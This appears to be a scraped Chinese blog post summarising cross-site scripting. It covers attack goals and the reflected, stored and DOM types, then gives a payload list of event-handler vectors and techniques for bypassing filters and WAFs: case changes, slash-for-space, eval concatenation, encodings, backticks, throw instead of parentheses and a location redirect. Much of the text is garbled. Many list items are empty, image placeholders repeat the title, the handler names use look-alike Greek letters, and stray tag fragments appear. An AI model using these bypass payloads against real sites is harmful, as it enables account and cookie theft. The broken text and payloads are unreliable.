天天看點

xss過濾總結

一。簡述

XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使使用者加載并執行攻擊者惡意制造的網頁程式.

例如:

1.盜用cookie,擷取敏感資訊。

2.利用植入Flash,通過crossdomain權限設定進一步擷取更高權限;或者利用Java等得到類似的操作。

3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)使用者的身份執行一些管理動作,或執行一些一般的操作如發微網誌、加好友、發私信等操作。

4.利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。

5.在通路量極大的一些頁面上的XSS可以攻擊一些小型網站,實作DDOS攻擊的效果。

二。分類

反射型

反射型跨站腳本是最常見,也是使用最廣的一種,可将惡意腳本附加到 URL 位址的參數中。反射型 XSS 的利用一般是攻擊者通過特定手法(如電子郵件),誘使使用者去通路一個包含惡意代碼的 URL,當受害者點選這些專門設計的連結的時候,惡意代碼會直接在受害者主機上的浏覽器執行。此類 XSS 通常出現在網站的搜尋欄、使用者登入口等地方,常用來竊取用戶端 Cookies 或進行釣魚欺騙。

存儲型

持久型跨站腳本也等同于存儲型跨站腳本。此類 XSS 不需要使用者單擊特定 URL 就能執行跨站腳本,攻擊者事先将惡意代碼上傳或儲存到漏洞伺服器中,隻要受害者浏覽包含此惡意代碼的頁面就會執行惡意代碼。持久型 XSS 一般出現在網站留言、評論、部落格日志等互動處,惡意腳本存儲到用戶端或者服務端的資料庫中。

DOM型

傳統的 XSS 漏洞一般出現在伺服器端代碼中,,浏覽器使用者可以操縱 DOM 中的一些對象,例如 URL、location 等。使用者在用戶端輸入的資料如果包含了惡意 JavaScript 腳本,而這些腳本沒有經過适當的過濾和消毒,那麼應用程式就可能受到基于 DOM 的 XSS 攻擊。(特殊類型的反射性 ) 存在于get

cookio reference裡面。

三。無過濾的情況下

一些常見标簽

1.

2.

<img src=1 οnerrοr=alert(“xss”);>

3.

競争焦點,進而觸發onblur事件

<input οnblur=alert(“xss”) autofocus>

通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點

事件,無需使用者去觸發

4.

使用open屬性觸發ontoggle事件,無需使用者去觸發

5.

6.

通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需使用者去觸發

7.

javascript僞協定

1.标簽

xss

點我就xss

2.标簽

3.标簽

<img src=javascript:alert(‘xss’)>//IE7以下

4.标簽

四。有過濾的情況下

1.過濾空格

用/代替空格

<img/src=“x”/οnerrοr=alert(“xss”);>

2.過濾關鍵字

大小寫繞過

<ImG sRc=x onerRor=alert(“xss”);>

3.字元拼接

利用eval

xss過濾總結

利用top

4.其它字元混淆

有的waf可能是用正規表達式去檢測是否有xss攻擊,如果我們能fuzz出正則的規則,

則我們就可以使用其它字元去混淆我們注入的代碼了

下面舉幾個簡單的例子

可利用注釋、标簽的優先級等

1.<

5.編碼繞過

Unicode編碼繞過

xss過濾總結
xss過濾總結

url編碼繞過

xss過濾總結

Ascii碼繞過

xss過濾總結

6.過濾雙引号,單引号

.如果是html标簽中,我們可以不用引号。如果是在js中,我們可以用反引号代替單雙引号

<img src=“x” οnerrοr=alert(

xss

);>

7.過濾括号

當括号被過濾的時候可以使用throw來繞過

<svg/οnlοad=“window.οnerrοr=eval;throw’=alert\x281\x29’;”>

8.html标簽中用//可以代替http://

<img src=“x” οnerrοr=document.location=

//www.baidu.com

>

9.注釋繞過

商城搜尋框大部分可以這樣繞過。

</spa n>